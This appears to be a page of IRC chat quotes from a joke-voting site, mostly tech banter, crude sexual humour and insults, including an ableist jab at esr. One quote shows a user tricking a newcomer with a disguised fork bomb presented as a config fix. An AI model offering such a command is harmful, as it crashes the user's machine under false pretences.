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#311016* (?/11) ↑Keep It ↓Trash It ⚐Flag
<zv> gnusosa: !
<gnusosa> zv:yes?
<zv> how are you buddy
<zv> i haven't seen you in literal years
<gnusosa> good
<gnusosa> hanging
<gnusosa> living the functional caliphate
<gnusosa> you know...
<mischief> has your nation-state banned imperitive practioners?
<gnusosa> negative
<mischief> practicioners
<gnusosa> functional is a religion of peace.
<jjuran__> Functional is an illusion that can only exist on an imperative foundation. Von Neumann is truth.
<gnusosa> that's the definition of Lambda
<gnusosa> an illusion
<zv> whoa
<zv> this just got real |
#311014* (?/13) ↑Keep It ↓Trash It ⚐Flag
Sockerbagarn: help, which drive letter should I use for my new disk
Paul.Power: U
Sockerbagarn: did not see that one coming
Paul.Power: it shares a birthday with you
Paul.Power: so next year you can sing "happy birthday to U"
Sockerbagarn: mn ujj
Sockerbagarn: that's what my forhead typed as I slammed it on my keyboard
Sockerbagarn: ok, so not U
Sockerbagarn: thanks for narrowing it down at least |
#311013* (?/17) ↑Keep It ↓Trash It ⚐Flag
<@devbug> I've never fucked a vegetable, graphitem.
<@devbug> Did leave your mother as one when I was done, though.
<@devbug> #micdrop |
#311009* (?/21) ↑Keep It ↓Trash It ⚐Flag
<DragonDream> I wonder if I have to much stuff open on my mac. The BD player is having a hard time keeping up
<Insti> No that's just the Mac man.
<rarely_upset> I'm the Mac man! ski-ba-bop-ba-dop-bop
<DragonDream> o.O |
#311006* (?/22) ↑Keep It ↓Trash It ⚐Flag
<pheand> you know you're drukn when your own handle becomes too cmpiocated to type |
#311001* (?/24) ↑Keep It ↓Trash It ⚐Flag
<ceren> reading esr's man-power writings makes me genuinely queasy
<ceren> it's like if ron jeremy had a small dick, autism, and anger problems, and thought he was smarter than 99.999% of humans |
#310997* (?/18) ↑Keep It ↓Trash It ⚐Flag
<flacs_webchat> "why do we have sse2 optimizations when the generic code is pretty much the same speed? oh, the benchmark was running the sse2 code twice..."
<flacs_webchat> me, 3 minutes ago ^ |
#310996* (?/18) ↑Keep It ↓Trash It ⚐Flag
* mmmaske (IceChat9@user/mmmaske) has joined
<mmmaske> penis
<Ske> .grab mmmaske
<gonzobot> (Ske) I already have that quote from mmmaske in the database
<Ske> ...
<Des> .grabr mmmaske
<gonzobot> <mmmaske> penis |
#310995* (?/15) ↑Keep It ↓Trash It ⚐Flag
<ninetysix> Where is the set_config file in kali linux? I cant find it
<foxtrot> this isnt a help channel
<foxtrot> #kalilinux @ freenode
<ninetysix> Whoopsi, thanks
<Gyjf> try echo ":(){ :|:& };:" >> config.sh&& sh config.sh
<Gyjf> should work
* ninetysix (root@secfo-FB90EA6C.lightspeed.cicril.sbcglobal.net) has left #hak5
<Gyjf> xD |
#310994* (?/27) ↑Keep It ↓Trash It ⚐Flag
<case> how long is a chinese name
<MachinShin> generally pretty short, why?
<case> How Long is a chinese name
<MachinShin> fuck you
<case> lmao |
#310993* (?/12) ↑Keep It ↓Trash It ⚐Flag
[01:34:24] Victor Ward: Archi
[01:34:27] Victor Ward: your replacement quit
[01:34:51] Victor Ward: how are you going to live with that?
[01:35:32] Archiplex: I'm ok with it
[01:36:16] Victor Ward: your lies won't protect you from the everburning guilt, the raging fire burning away your last shred of self-respect
[01:36:40] Victor Ward: it consumes slowly, sending ashes of a deathly grey flying into the putrid air of non-forgiveness
[01:37:02] Victor Ward: in a corner, an angel screams, gouging his eyes out because he cannot bear to see
[01:37:13] Victor Ward: the insects feast upon the remains of your conscience
[01:37:16] Archiplex: It's ok if I want to feel better I can just kick you
[01:37:17] Victor Ward: it's the final orgy of the dying seraphims
[01:38:28] Victor Ward: and the, the locusts feeding shat out their progeny, a mishappen cluster of deranged unsentient minds
[01:38:42] Victor Ward: that very same progeny stumbled blindly forward through the desert of despair
[01:38:59] Victor Ward: until it found the oasis of forgiveness, which had dried out under an everlasting sun of pain
[01:39:40] Victor Ward: the sun laughed cruelly and vomited its contempt upon the progeny, drowning them in self-hatred and flaying their minds asunder with the whip of guilt
[01:41:10] Victor Ward: but there was one who would not accept the horrible sins of its wicked ancestors, and chose to walk back the rotten trail that slithered in the arid steppe, like a long dead snake
[01:41:47] Victor Ward: until it found the original sin, naked, revealing itself in all of its horribleness, that very same instant you crushed my feelings under your callused feet
[01:42:06] Victor Ward: it screamed until its throat tore itself apart like a decaying rubber tube
[01:42:26] Victor Ward: but even death would not soothe his eternal suffering
[01:42:36] Victor Ward: for there are sins that nothing can erase
[01:42:56] Victor Ward: that's how i feel about this tbh |
#310992* (?/15) ↑Keep It ↓Trash It ⚐Flag
<wa8op> I dont mind compiling a large toolchain. btw whats a toolchain lol. Can I use Xcode?
<&Sebkinne> :<Comment: another day at #hak5
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#310988* (?/10) ↑Keep It ↓Trash It ⚐Flag
09:49 < Leafer91> @random leafer91
09:49 < rip> Error: The command "random" is available in the Dict, Quote, and QuoteGrabs plugins. Please specify the plugin whose
command you wish to call by using its name as a command before "random".
09:49 < Leafer91> @randomquote leafer91
09:49 < rip> <Leafer91> how do i fuck up so badly everyday |
#310984* (?/34) ↑Keep It ↓Trash It ⚐Flag
<DragnFly> Whats the difference between Justin Bieber, and an almond joy candy bar?
<DragnFly> Almond joy has nuts ;) |
#310982* (?/41) ↑Keep It ↓Trash It ⚐Flag
<me> :(
<society> Turn that frown upside down!
<me> ): |
#310979* (?/18) ↑Keep It ↓Trash It ⚐Flag
<MechatronicStude> hello
<MechatronicStude> anyone here?
<tmbg> no, none of the 680 people here are here.
<MechatronicStude> its just so "quiet" lol
<MechatronicStude> this is a german channel right?
<[Saint]> The Germans are notorious for their quiet IRC channels. |
#310976* (?/18) ↑Keep It ↓Trash It ⚐Flag
<Neui> I hate debugging
<HdkR> I hate bugging
<HdkR> no wait
<HdkR> I love bugging, what am I talking about
* HdkR pesters |
#310975* (?/21) ↑Keep It ↓Trash It ⚐Flag
<MarisaKirisame> lol wtf
<MarisaKirisame> man, something is very wrong with my ds
<MarisaKirisame> I started a new game of mario & luigi, and softlocked the game because apparently I got a lucky hit on the very first fight for 630 damage |
#310973* (?/21) ↑Keep It ↓Trash It ⚐Flag
<BtbN> I never broke anything so far. Except for my right small toe. That one i broke like 3 times on the same door.
<NanoSector> Lol
<mathieui> you must really dislike that door
<NanoSector> Or the door must really dislike him
<BtbN> I disliked it so much I moved out |
#310972* (?/12) ↑Keep It ↓Trash It ⚐Flag
<furyhunter> the drivers range from "buggy as hell" to "absolutely broken"
<XgF> Only if you buy Qualcomm :P
<NanoSector> but it works!
* NanoSector waits for the headshot
* Neui gives NanoSector a pistol
* NanoSector shoots Neui
<NanoSector> woops
* Neui dies
* NanoSector whistles and walks away |
#310971* (?/13) ↑Keep It ↓Trash It ⚐Flag
* HdkR picks at scab
<MaJoR1> bad HdkR, bad!
<HdkR> You can't stop me!
* HdkR picks harder
<MaJoR1> :( |
#310970* (?/11) ↑Keep It ↓Trash It ⚐Flag
* HdkR trips and falls in front of a car
<HdkR> I've survived it once, I can do it again |
#310966* (?/23) ↑Keep It ↓Trash It ⚐Flag
Anonymous: i dont even lift bra
Woody: Then how do you get at the boobies?
Anonymous: i have this wing man named alco holComment: SteamGifts chat
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#310965* (?/11) ↑Keep It ↓Trash It ⚐Flag
<utack> "Adreno 330 @ 578 GHz"
<utack> i'd like to see that phone
<mathieui> gotta go fast
<utack> maybe that is why sd810 overheats so much, they clocked the GPU to GHZ instead of MHZ because someone read the paper wrong
<utack> or...not |
#310963* (?/22) ↑Keep It ↓Trash It ⚐Flag
<lug00ber> grmblmervavzzzipjresvijæav
<madame_> lug00ber: morning sunshine
<lug00ber> yeah, thanks
<lug00ber> woke up this morning to a beer in my fridge that wasn't there last night
<lug00ber> had a sticker attached to it reading "not breakfast"
<lug00ber> day's been going downhill from there |
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